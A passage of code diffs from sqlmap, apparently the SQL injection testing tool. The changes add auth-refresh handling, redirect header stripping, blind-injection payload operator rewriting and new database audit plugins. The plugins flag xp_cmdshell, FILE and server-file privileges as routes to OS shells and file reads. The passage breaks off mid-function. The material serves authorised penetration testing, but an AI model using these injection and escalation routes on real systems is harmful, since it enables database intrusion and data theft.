conn = http2OpenUrl(url, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), headers, post, timeout, follow_redirects=kb.choices.redirect != REDIRECTION.NO, proxy=h2proxy)
|
||||
conn = http2OpenUrl(url, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), headers, post, timeout, follow_redirects=kb.choices.redirect != REDIRECTION.NO, proxy=h2proxy, sensitive_headers=tuple(kb.authRefreshHeaders) if conf.authRefresh else ())
|
||||
except IOError as ex:
|
||||
raise _http_client.HTTPException(getSafeExString(ex))
|
||||
else:
|
||||
if conn.code >= 400:
|
||||
raise _urllib.error.HTTPError(url, conn.code, conn.msg, conn.info(), io.BytesIO(conn.read()))
|
||||
raise _urllib.error.HTTPError(conn.geturl(), conn.code, conn.msg, conn.info(), io.BytesIO(conn.read()))
|
||||
|
||||
requestMsg = re.sub(r" HTTP/[0-9.]+\r\n", " %s\r\n" % conn.http_version, requestMsg, count=1)
|
||||
|
||||
@@ -863,7 +869,7 @@ class Connect(object):
|
||||
page = None
|
||||
responseHeaders = None
|
||||
|
||||
if checking:
|
||||
if checking and not (ex.code == _http_client.UNAUTHORIZED and authVersion is not None):
|
||||
return None, None, None
|
||||
|
||||
try:
|
||||
@@ -887,7 +893,8 @@ class Connect(object):
|
||||
code = ex.code
|
||||
status = getUnicode(getattr(ex, "reason", None) or getSafeExString(ex).split(": ", 1)[-1])
|
||||
|
||||
kb.originalCode = kb.originalCode or code
|
||||
if not (code == _http_client.UNAUTHORIZED and authVersion is not None):
|
||||
kb.originalCode = kb.originalCode or code
|
||||
threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
|
||||
kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1
|
||||
|
||||
@@ -913,7 +920,15 @@ class Connect(object):
|
||||
singleTimeLogMessage(errMsg, logging.CRITICAL)
|
||||
raise SystemExit
|
||||
|
||||
if ex.code not in (conf.ignoreCode or []):
|
||||
if ex.code == _http_client.UNAUTHORIZED and authVersion is not None and authrefresh.sameOrigin(ex.geturl(), url):
|
||||
if kwargs.get("authRetried"):
|
||||
with kb.locks.authRefresh:
|
||||
if authVersion == kb.authRefreshVersion:
|
||||
kb.authRefreshFailed = True
|
||||
raise SqlmapConnectionException("authentication refresh did not authorize the retried request (401)")
|
||||
authrefresh.refresh(authVersion)
|
||||
authRetry = True
|
||||
elif ex.code not in (conf.ignoreCode or []):
|
||||
if ex.code == TOO_MANY_REQUESTS_HTTP_CODE or (ex.code == _http_client.SERVICE_UNAVAILABLE and Connect._parseRetryAfter(responseHeaders) is not None):
|
||||
retried = Connect._rateLimitRetry(responseHeaders, ex.code, **kwargs)
|
||||
if retried is not None:
|
||||
@@ -1099,6 +1114,12 @@ class Connect(object):
|
||||
|
||||
socket.setdefaulttimeout(conf.timeout)
|
||||
|
||||
if authRetry:
|
||||
# Authentication latency is not evidence of a time-based SQL injection.
|
||||
threadData.authRefreshTime += calculateDeltaSeconds(start)
|
||||
kwargs["authRetried"] = True
|
||||
return Connect.getPage(**kwargs)
|
||||
|
||||
# Dirty patch for Python3.11.0a7 (e.g. https://github.com/sqlmapproject/sqlmap/issues/5091)
|
||||
if not sys.version.startswith("3.11."):
|
||||
if conf.retryOn and re.search(conf.retryOn, page or "", re.I):
|
||||
@@ -1638,7 +1659,7 @@ class Connect(object):
|
||||
match = re.search(r"['\"]", post)
|
||||
if match:
|
||||
quote = match.group(0)
|
||||
post = re.sub(r"\}\Z", "%s%s}" % (',' if re.search(r"\w", post) else "", "%s%s%s:%s" % (quote, name, quote, entry if entry.isdigit() else "%s%s%s" % (quote, entry, quote))), post)
|
||||
post = re.sub(r"\}\Z", "%s%s}" % (',' if re.search(r"\w", post) else "", "%s%s%s:%s" % (quote, name, quote, entry if entry.isdigit() else "%s%s%s" % (quote, entry.replace('\\', r'\\'), quote))), post)
|
||||
else:
|
||||
post += "%s%s=%s" % (delimiter, name, entry)
|
||||
elif get is not None:
|
||||
@@ -1751,6 +1772,8 @@ class Connect(object):
|
||||
|
||||
start = time.time()
|
||||
|
||||
authRefreshTime = threadData.authRefreshTime
|
||||
|
||||
if kb.nullConnection and not content and not response and not timeBasedCompare:
|
||||
noteResponseTime = False
|
||||
|
||||
@@ -1806,7 +1829,7 @@ class Connect(object):
|
||||
return value
|
||||
page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
|
||||
|
||||
threadData.lastQueryDuration = calculateDeltaSeconds(start)
|
||||
threadData.lastQueryDuration = max(0, calculateDeltaSeconds(start) - (threadData.authRefreshTime - authRefreshTime))
|
||||
|
||||
kb.originalCode = code if kb.originalCode is None else kb.originalCode
|
||||
kb.originalPage = page if kb.originalPage is None else kb.originalPage
|
||||
|
||||
@@ -1576,7 +1576,7 @@ def proxy_tuple(proxy, cred=None):
|
||||
|
||||
|
||||
def open_url(url, method="GET", headers=None, body=None, timeout=30, follow_redirects=True,
|
||||
max_redirects=10, proxy=None, verify=False, ssl_context=None):
|
||||
max_redirects=10, proxy=None, verify=False, ssl_context=None, sensitive_headers=()):
|
||||
req_headers = headers or {}
|
||||
current_method = method
|
||||
current_body = body
|
||||
@@ -1614,7 +1614,7 @@ def open_url(url, method="GET", headers=None, body=None, timeout=30, follow_redi
|
||||
old_parts = parts
|
||||
new_parts = urlsplit(new_url)
|
||||
if _origin_tuple(old_parts) != _origin_tuple(new_parts):
|
||||
req_headers = _headers_without(req_headers, _SENSITIVE_REDIRECT_FIELDS)
|
||||
req_headers = _headers_without(req_headers, _SENSITIVE_REDIRECT_FIELDS.union(_as_bytes(_).lower() for _ in sensitive_headers))
|
||||
|
||||
method_bytes = _as_bytes(current_method)
|
||||
change_to_get = status == 303 and method_bytes != b"HEAD"
|
||||
|
||||
@@ -28,6 +28,8 @@ except ImportError:
|
||||
pass
|
||||
|
||||
_protocols = filterNone(getattr(ssl, _, None) for _ in ("PROTOCOL_TLS_CLIENT", "PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2"))
|
||||
# Note: SNI (i.e. server_hostname) is a TLS extension, hence only those are used in here (Note: PROTOCOL_TLSv1 is not compiled in on OpenSSL builds without TLS 1.0 support)
|
||||
_tlsProtocols = filterNone(getattr(ssl, _, None) for _ in ("PROTOCOL_TLS_CLIENT", "PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1"))
|
||||
_lut = dict((getattr(ssl, _), _) for _ in dir(ssl) if _.startswith("PROTOCOL_"))
|
||||
_contexts = {}
|
||||
|
||||
@@ -64,7 +66,7 @@ class HTTPSConnection(_http_client.HTTPSConnection):
|
||||
# Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
|
||||
# https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
|
||||
if hasattr(ssl, "SSLContext"):
|
||||
for protocol in (_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1):
|
||||
for protocol in (_ for _ in _protocols if _ in _tlsProtocols):
|
||||
sock = None
|
||||
try:
|
||||
sock = create_sock()
|
||||
|
||||
@@ -32,6 +32,7 @@ from lib.core.settings import MAX_TOTAL_REDIRECTIONS
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
from lib.request.basic import decodePage
|
||||
from lib.request.basic import parseResponse
|
||||
from lib.request import authrefresh
|
||||
from thirdparty import six
|
||||
from thirdparty.six.moves import http_client as _http_client
|
||||
from thirdparty.six.moves import urllib as _urllib
|
||||
@@ -176,6 +177,9 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
|
||||
req.headers[HTTP_HEADER.COOKIE] = delimiter.join("%s=%s" % (key, cookies[key]) for key in cookies)
|
||||
|
||||
try:
|
||||
if conf.authRefresh and not authrefresh.sameOrigin(req.get_full_url(), redurl):
|
||||
req.headers = authrefresh.stripHeaders(req.headers)
|
||||
req.unredirected_hdrs = authrefresh.stripHeaders(req.unredirected_hdrs)
|
||||
result = _urllib.request.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers)
|
||||
except _urllib.error.HTTPError as ex:
|
||||
result = error = ex
|
||||
|
||||
@@ -109,6 +109,19 @@ def normalizedExpression(expression):
|
||||
|
||||
return retVal
|
||||
|
||||
def replaceInferenceOperator(payload, replacement):
|
||||
"""
|
||||
Replaces only the inference comparison operator (i.e. the one right in front of the compared
|
||||
value placeholder), leaving any other occurrence (e.g. inside the original parameter value) intact
|
||||
|
||||
>>> replaceInferenceOperator("1FF>6182 AND ASCII(SUBSTRING((%s),%d,1))>%d", "!=")
|
||||
'1FF>6182 AND ASCII(SUBSTRING((%s),%d,1))!=%d'
|
||||
>>> replaceInferenceOperator("a>b AND SUBSTR((%s),%d,1)>'%c'", "=")
|
||||
"a>b AND SUBSTR((%s),%d,1)='%c'"
|
||||
"""
|
||||
|
||||
return re.sub(r"%s(?=%%d|'%%c')" % re.escape(INFERENCE_GREATER_CHAR), lambda match: replacement, payload)
|
||||
|
||||
def getHuffmanPrior(order, scale, dbms=None):
|
||||
"""
|
||||
Character-level order-N Markov model {context: {ordinal: count}} used to warm the Huffman
|
||||
@@ -350,7 +363,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
elif Backend.isDbms(DBMS.FRONTBASE):
|
||||
match = re.search(r"\ASELECT\b(\s+TOP\s*\([^)]+\)\s+)?(.+)\bFROM\b(.+)\Z", expression, re.I)
|
||||
if match:
|
||||
payload = payload.replace(INFERENCE_GREATER_CHAR, " FROM %s)%s" % (match.group(3).strip(), INFERENCE_GREATER_CHAR))
|
||||
payload = replaceInferenceOperator(payload, " FROM %s)%s" % (match.group(3).strip(), INFERENCE_GREATER_CHAR))
|
||||
payload = payload.replace("SUBSTRING", "(SELECT%sSUBSTRING" % (match.group(1) if match.group(1) else " "), 1)
|
||||
expression = match.group(2).strip()
|
||||
|
||||
@@ -509,9 +522,9 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
|
||||
markingValue = "'%s'" % CHAR_INFERENCE_MARK
|
||||
unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue))
|
||||
forgedPayload = agent.extractPayload(payload) or ""
|
||||
forgedPayload = replaceInferenceOperator(agent.extractPayload(payload) or "", INFERENCE_EQUALS_CHAR)
|
||||
forgedPayload = forgedPayload.replace(markingValue, unescapedCharValue)
|
||||
forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue))
|
||||
forgedPayload = safeStringFormat(forgedPayload, (expressionUnescaped, idx, posValue))
|
||||
result = Request.queryPage(agent.replacePayload(payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False)
|
||||
incrementCounter(getTechnique())
|
||||
|
||||
@@ -530,7 +543,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
|
||||
threadData = getCurrentThreadData()
|
||||
|
||||
validationPayload = re.sub(r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload)
|
||||
validationPayload = replaceInferenceOperator(payload, INFERENCE_NOT_EQUALS_CHAR) if PAYLOAD_DELIMITER in payload else payload
|
||||
|
||||
if "'%s'" % CHAR_INFERENCE_MARK not in payload:
|
||||
forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value))
|
||||
@@ -668,7 +681,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
# If it disagrees, the IN() channel is unreliable here: latch the technique off so the
|
||||
# classic '>' bisection takes over for the rest of the run (graceful fallback).
|
||||
if not kb.huffmanValidated:
|
||||
verifyPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, value))
|
||||
verifyPayload = safeStringFormat(replaceInferenceOperator(payload, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, value))
|
||||
verified = Request.queryPage(verifyPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
||||
incrementCounter(getTechnique())
|
||||
if verified:
|
||||
@@ -739,7 +752,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
return None
|
||||
|
||||
elif len(charTbl) == 1:
|
||||
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
|
||||
forgedPayload = safeStringFormat(replaceInferenceOperator(payload, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
|
||||
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
||||
incrementCounter(getTechnique())
|
||||
|
||||
@@ -963,7 +976,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
choice = sorted(bits.items(), key=lambda _: abs(_[1]))[0][0]
|
||||
mask = 1 << choice
|
||||
|
||||
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, "&%d%s" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0))
|
||||
forgedPayload = safeStringFormat(replaceInferenceOperator(payload, "&%d%s" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0))
|
||||
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
||||
incrementCounter(getTechnique())
|
||||
|
||||
@@ -975,7 +988,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
bit += 1
|
||||
|
||||
if candidates:
|
||||
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0]))
|
||||
forgedPayload = safeStringFormat(replaceInferenceOperator(payload, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0]))
|
||||
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
||||
incrementCounter(getTechnique())
|
||||
|
||||
|
||||
@@ -74,7 +74,10 @@ def dnsUse(payload, expression):
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL):
|
||||
query = agent.prefixQuery("; %s" % expressionUnescaped)
|
||||
query = "%s%s" % (query, queries[Backend.getIdentifiedDbms()].comment.query)
|
||||
if conf.suffix is not None:
|
||||
query = agent.suffixQuery(query, comment="", suffix=conf.suffix)
|
||||
else:
|
||||
query = "%s%s" % (query, queries[Backend.getIdentifiedDbms()].comment.query)
|
||||
forgedPayload = agent.payload(newValue=query)
|
||||
else:
|
||||
forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3)))
|
||||
|
||||
@@ -37,6 +37,7 @@ from lib.core.common import singleTimeDebugMessage
|
||||
from lib.core.common import singleTimeWarnMessage
|
||||
from lib.core.common import unArrayizeValue
|
||||
from lib.core.common import wasLastResponseDBMSError
|
||||
from lib.core.common import zeroDepthSearch
|
||||
from lib.core.compat import xrange
|
||||
from lib.core.convert import decodeBase64
|
||||
from lib.core.convert import getUnicode
|
||||
@@ -344,8 +345,10 @@ def unionUse(expression, unpack=True, dump=False):
|
||||
kb.partRun = getPartRun(alias=False) if (conf.api or conf.reportJson) else None
|
||||
|
||||
if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
|
||||
# Removed ORDER BY clause because UNION does not play well with it
|
||||
expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression)
|
||||
# Only remove outer ordering. Nested ORDER BY clauses can select which
|
||||
# rows survive a ROWNUM/TOP limit and must remain intact.
|
||||
positions = set(index for keyword in set(re.findall(r"(?i)ORDER BY", expression)) for index in zeroDepthSearch(expression, keyword))
|
||||
expression = re.sub(r"(?i)ORDER BY\s+[\w,]+", lambda match: "" if match.start() in positions else match.group(0), expression)
|
||||
debugMsg = "stripping ORDER BY clause from statement because "
|
||||
debugMsg += "it does not play well with UNION query SQL injection"
|
||||
singleTimeDebugMessage(debugMsg)
|
||||
|
||||
+9
-1
@@ -444,7 +444,9 @@ class StdDbOut(object):
|
||||
|
||||
def write(self, value, status=CONTENT_STATUS.IN_PROGRESS, content_type=None):
|
||||
if self.messagetype == "stdout":
|
||||
_storeData(conf.databaseCursor, self.taskid, value, status, content_type)
|
||||
# Note: per-target key in multi-target scans, so a later target's COMPLETE row doesn't delete an earlier one's (#2503)
|
||||
taskid = "%s-%s" % (self.taskid, kb.reportTaskId) if kb.get("reportTaskId") else self.taskid
|
||||
_storeData(conf.databaseCursor, taskid, value, status, content_type)
|
||||
else:
|
||||
conf.databaseCursor.execute("INSERT INTO errors VALUES(NULL, ?, ?)", (self.taskid, str(value) if value else ""))
|
||||
|
||||
@@ -818,6 +820,12 @@ def scan_data(taskid):
|
||||
# Read all data and error messages from the IPC database (shared assembler - same output as --report-json)
|
||||
result = _assembleData(DataStore.current_db, taskid)
|
||||
|
||||
# Note: fold in per-target rows ('<taskid>-<n>', see StdDbOut.write) of multi-target scans, in target order
|
||||
prefix = "%s-" % taskid
|
||||
subtaskids = [_[0] for _ in DataStore.current_db.execute("SELECT DISTINCT taskid FROM data WHERE taskid LIKE ?", (prefix + '%',)) if _[0][len(prefix):].isdigit()]
|
||||
for subtaskid in sorted(subtaskids, key=lambda _: int(_[len(prefix):])):
|
||||
result["data"].extend(_assembleData(DataStore.current_db, subtaskid)["data"])
|
||||
|
||||
logger.debug("(%s) Retrieved scan data and error messages" % taskid)
|
||||
return jsonize(result)
|
||||
|
||||
|
||||
@@ -79,6 +79,7 @@ from lib.core.enums import HASH
|
||||
from lib.core.enums import MKSTEMP_PREFIX
|
||||
from lib.core.exception import SqlmapDataException
|
||||
from lib.core.exception import SqlmapUserQuitException
|
||||
from lib.core.patch import dirtyPatches
|
||||
from lib.core.settings import COMMON_PASSWORD_SUFFIXES
|
||||
from lib.core.settings import COMMON_PASSWORDS
|
||||
from lib.core.settings import COMMON_USER_COLUMNS
|
||||
@@ -101,6 +102,16 @@ from thirdparty import six
|
||||
from thirdparty.colorama.initialise import init as coloramainit
|
||||
from thirdparty.six.moves import queue as _queue
|
||||
|
||||
# On Windows, multiprocessing's 'spawn' start method boots a fresh interpreter per cracking
|
||||
# worker (_bruteProcessVariantA/B/Salted below) to unpickle its target function, which re-imports
|
||||
# this module from scratch without ever running the main process's startup dirtyPatches() - so
|
||||
# process-wide monkeypatches it installs (e.g. the 'reversible' codec error handler used by
|
||||
# getUnicode()/openFile()) are missing in the worker, raising LookupError on every hashed entry
|
||||
# (#6143). Placing the (idempotent) call here means that very re-import applies it. POSIX fork()
|
||||
# workers inherit the parent's patches already, so this only needs to run on Windows.
|
||||
if IS_WIN:
|
||||
dirtyPatches()
|
||||
|
||||
def mysql_passwd(password, uppercase=True):
|
||||
"""
|
||||
Reference(s):
|
||||
|
||||
+9
-8
@@ -12,6 +12,7 @@ from lib.core.common import getSafeExString
|
||||
from lib.core.common import popValue
|
||||
from lib.core.common import pushValue
|
||||
from lib.core.common import urlencode
|
||||
from lib.core.convert import decodeBase64
|
||||
from lib.core.convert import getBytes
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.data import conf
|
||||
@@ -25,9 +26,8 @@ from lib.core.exception import SqlmapBaseException
|
||||
from lib.core.settings import BING_REGEX
|
||||
from lib.core.settings import DUCKDUCKGO_REGEX
|
||||
from lib.core.settings import DUMMY_SEARCH_USER_AGENT
|
||||
from lib.core.settings import GOOGLE_CONSENT_COOKIE
|
||||
from lib.core.settings import GOOGLE_REGEX
|
||||
from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE
|
||||
from lib.core.settings import SEARCH_ABUSE_MARKERS
|
||||
from lib.core.settings import UNICODE_ENCODING
|
||||
from lib.request.basic import decodePage
|
||||
from thirdparty.six.moves import http_client as _http_client
|
||||
@@ -89,7 +89,6 @@ def _search(dork):
|
||||
requestHeaders = {
|
||||
HTTP_HEADER.USER_AGENT: dict(conf.httpHeaders).get(HTTP_HEADER.USER_AGENT, DUMMY_SEARCH_USER_AGENT),
|
||||
HTTP_HEADER.ACCEPT_ENCODING: HTTP_ACCEPT_ENCODING_HEADER_VALUE,
|
||||
HTTP_HEADER.COOKIE: GOOGLE_CONSENT_COOKIE,
|
||||
}
|
||||
|
||||
gpage = conf.googlePage if conf.googlePage > 1 else 1
|
||||
@@ -97,11 +96,13 @@ def _search(dork):
|
||||
|
||||
encoded = urlencode(dork, convall=True)
|
||||
|
||||
# Note: (name, url, POST data, regex, regex flags, match->link). Ordered by current scraping reliability; tried in turn until one yields results (DuckDuckGo currently being the only consistently scrapeable one)
|
||||
# Note: DuckDuckGo's first result page holds 10 entries, while each subsequent one holds 15 (hence the non-linear offset)
|
||||
ddgOffset = 0 if gpage == 1 else 10 + (gpage - 2) * 15
|
||||
|
||||
# Note: (name, url, POST data, regex, regex flags, match->link). Ordered by current scraping reliability; tried in turn until one yields results (Google is not in here as it serves results only to JavaScript capable clients)
|
||||
engines = (
|
||||
("DuckDuckGo", "https://html.duckduckgo.com/html/", "q=%s&s=%d" % (encoded, (gpage - 1) * 30), DUCKDUCKGO_REGEX, re.I | re.S, lambda match: match.group(1).replace("&", "&")),
|
||||
("Bing", "https://www.bing.com/search?q=%s&first=%d" % (encoded, (gpage - 1) * 10 + 1), None, BING_REGEX, re.I | re.S, lambda match: match.group(1)),
|
||||
("Google", "https://www.google.com/search?q=%s&num=100&hl=en&complete=0&safe=off&filter=0&btnG=Search&start=%d" % (encoded, (gpage - 1) * 100), None, GOOGLE_REGEX, re.I, lambda match: match.group(1) or match.group(2)),
|
||||
("DuckDuckGo", "https://html.duckduckgo.com/html/", "q=%s&s=%d" % (encoded, ddgOffset), DUCKDUCKGO_REGEX, re.I | re.S, lambda match: match.group(1).replace("&", "&")),
|
||||
("Bing", "https://www.bing.com/search?q=%s&first=%d" % (encoded, (gpage - 1) * 10 + 1), None, BING_REGEX, re.I | re.S, lambda match: decodeBase64(match.group(1), binary=False) if match.group(1) else match.group(2).replace("&", "&")),
|
||||
)
|
||||
|
||||
for name, url, data, regex, flags, extract in engines:
|
||||
@@ -123,7 +124,7 @@ def _search(dork):
|
||||
break # Note: stop at the first engine that actually returns results (others are only fallbacks)
|
||||
|
||||
# Note: switch proxy (if available) when an abuse/captcha page was served (instead of pointlessly falling through to the next engine from the same blocked IP)
|
||||
if conf.proxyList and (("detected unusual traffic" in page) or ("issue with the Tor Exit Node you are currently using" in page)):
|
||||
if conf.proxyList and any(marker in page for marker in SEARCH_ABUSE_MARKERS):
|
||||
warnMsg = "%s has detected 'unusual' traffic from the used IP address" % name
|
||||
raise SqlmapBaseException(warnMsg)
|
||||
|
||||
|
||||
@@ -0,0 +1,53 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.settings import AUDIT_MAX_ROWS
|
||||
from plugins.generic.audit import Audit as GenericAudit
|
||||
|
||||
|
||||
class Audit(GenericAudit):
|
||||
dbms = DBMS.MSSQL
|
||||
# Snippets keep an outer WHERE for the existing blind TOP/NOT IN limiter.
|
||||
queries = (("identity", ("audit_identity",)), ("permissions", ("audit_permissions",)),
|
||||
("configuration", ("audit_configuration",)), ("linked servers", ("audit_links",)))
|
||||
flags = dict((key, ("enabled", "disabled")) for key in ("xp_cmdshell", "clr enabled", "Ole Automation Procedures", "Ad Hoc Distributed Queries"))
|
||||
flags.update(dict((key, ("yes", "no")) for key in ("sysadmin", "execute xp_cmdshell", "read configuration metadata", "read linked-server metadata")))
|
||||
|
||||
def failure(self, scope, groups):
|
||||
permissions = groups.get("permissions") or {}
|
||||
for key, name, target in (("read configuration metadata", "configuration", "master.sys.configurations"),
|
||||
("read linked-server metadata", "linked servers", "master.sys.servers")):
|
||||
if scope == name and permissions.get(key) == "0":
|
||||
return "%s: SELECT permission missing on %s" % (scope, target)
|
||||
return GenericAudit.failure(self, scope, groups)
|
||||
|
||||
def explain(self, groups):
|
||||
configuration = groups.get("configuration") or {}
|
||||
permissions = groups.get("permissions") or {}
|
||||
identity = groups.get("identity") or {}
|
||||
result = []
|
||||
if identity.get("sysadmin") == "1" and configuration.get("xp_cmdshell") == "0":
|
||||
if self._auditCanExecute():
|
||||
result.append("Command execution: sysadmin can enable xp_cmdshell; use --os-cmd or --os-shell")
|
||||
else:
|
||||
result.append("Command execution: sysadmin can enable xp_cmdshell; no statement execution route identified")
|
||||
elif configuration.get("xp_cmdshell") == "1" and permissions.get("execute xp_cmdshell") == "1":
|
||||
if self._auditCanExecute():
|
||||
result.append("Command execution: xp_cmdshell enabled and EXECUTE granted; use --os-cmd or --os-shell")
|
||||
else:
|
||||
result.append("Command execution: xp_cmdshell enabled and EXECUTE granted; no statement execution route identified")
|
||||
elif permissions.get("execute xp_cmdshell") == "0":
|
||||
result.append("Command execution: EXECUTE permission missing on master.dbo.xp_cmdshell")
|
||||
elif configuration.get("xp_cmdshell") == "0":
|
||||
result.append("Command execution: xp_cmdshell is disabled")
|
||||
links = groups.get("linked servers") or {}
|
||||
count = links.get("visible linked servers")
|
||||
if count and count.isdigit() and int(count) > AUDIT_MAX_ROWS:
|
||||
shown = sum(key.startswith("link ") for key in links)
|
||||
result.append("Linked servers: showing %d of %s; use --links for the full list" % (shown, count))
|
||||
return result
|
||||
@@ -0,0 +1,44 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.common import Backend
|
||||
from lib.core.enums import DBMS, FORK
|
||||
from plugins.generic.audit import Audit as GenericAudit
|
||||
|
||||
|
||||
class Audit(GenericAudit):
|
||||
dbms = DBMS.MYSQL
|
||||
flags = dict((key, ("enabled", "disabled")) for key in ("local_infile", "require_secure_transport", "read_only", "super_read_only", "general_log", "log_bin", "skip_networking", "skip_grant_tables"))
|
||||
flags["direct FILE grant"] = ("present", "absent")
|
||||
|
||||
def __init__(self):
|
||||
configuration = ("audit_configuration_mariadb", "audit_configuration") if Backend.isFork(FORK.MARIADB) else ("audit_configuration", "audit_configuration_mariadb")
|
||||
self.queries = (("identity", ("audit_identity",)), ("configuration", configuration),
|
||||
("file access", ("audit_file_access",)), ("privileges", ("audit_privileges",)))
|
||||
|
||||
def explain(self, groups):
|
||||
facts = groups.get("file access") or {}
|
||||
privileges = groups.get("privileges") or {}
|
||||
result = []
|
||||
disabled = False
|
||||
if "secure_file_priv" in facts:
|
||||
value = facts["secure_file_priv"]
|
||||
# MariaDB can expose an unrestricted value as SQL NULL; MySQL can expose
|
||||
# its disabled value as the literal string "NULL". Keep the raw fact.
|
||||
disabled = (value is None or value.upper() == "NULL") and not Backend.isFork(FORK.MARIADB)
|
||||
if disabled:
|
||||
result.append("File operations: secure_file_priv=NULL blocks --file-read and --file-write")
|
||||
elif not value:
|
||||
result.append("File operations: no directory restriction from secure_file_priv")
|
||||
else:
|
||||
result.append("File operations: --file-read and --file-dest paths must be inside '%s'" % value)
|
||||
if privileges.get("direct FILE grant") == "1" and not disabled:
|
||||
message = "File read: FILE granted; use --file-read with a server-side path"
|
||||
if facts.get("max_allowed_packet"):
|
||||
message += " (file size < %s bytes)" % facts["max_allowed_packet"]
|
||||
result.append(message)
|
||||
return result
|
||||
@@ -0,0 +1,23 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.settings import AUDIT_MAX_ROWS
|
||||
from plugins.generic.audit import Audit as GenericAudit
|
||||
|
||||
|
||||
class Audit(GenericAudit):
|
||||
dbms = DBMS.ORACLE
|
||||
queries = (("identity", ("audit_identity",)), ("configuration", ("audit_configuration",)),
|
||||
("privileges", ("audit_privileges",)), ("directory grants", ("audit_directories",)))
|
||||
|
||||
def explain(self, groups):
|
||||
grants = groups.get("directory grants") or {}
|
||||
count = grants.get("visible directory grants")
|
||||
if count and count.isdigit() and int(count) > AUDIT_MAX_ROWS:
|
||||
return ["Directory grants: showing %d of %s" % (len(grants) - 1, count)]
|
||||
return []
|
||||
@@ -0,0 +1,33 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.enums import DBMS
|
||||
from plugins.generic.audit import Audit as GenericAudit
|
||||
|
||||
|
||||
class Audit(GenericAudit):
|
||||
dbms = DBMS.PGSQL
|
||||
queries = (("identity", ("audit_identity",)), ("configuration", ("audit_configuration",)),
|
||||
("privileges", ("audit_privileges",)))
|
||||
flags = dict((key, ("yes", "no")) for key in ("superuser", "bypass RLS", "pg_read_server_files", "pg_write_server_files", "pg_execute_server_program"))
|
||||
|
||||
def explain(self, groups):
|
||||
privileges = groups.get("privileges") or {}
|
||||
superuser = privileges.get("superuser") == "1"
|
||||
result = []
|
||||
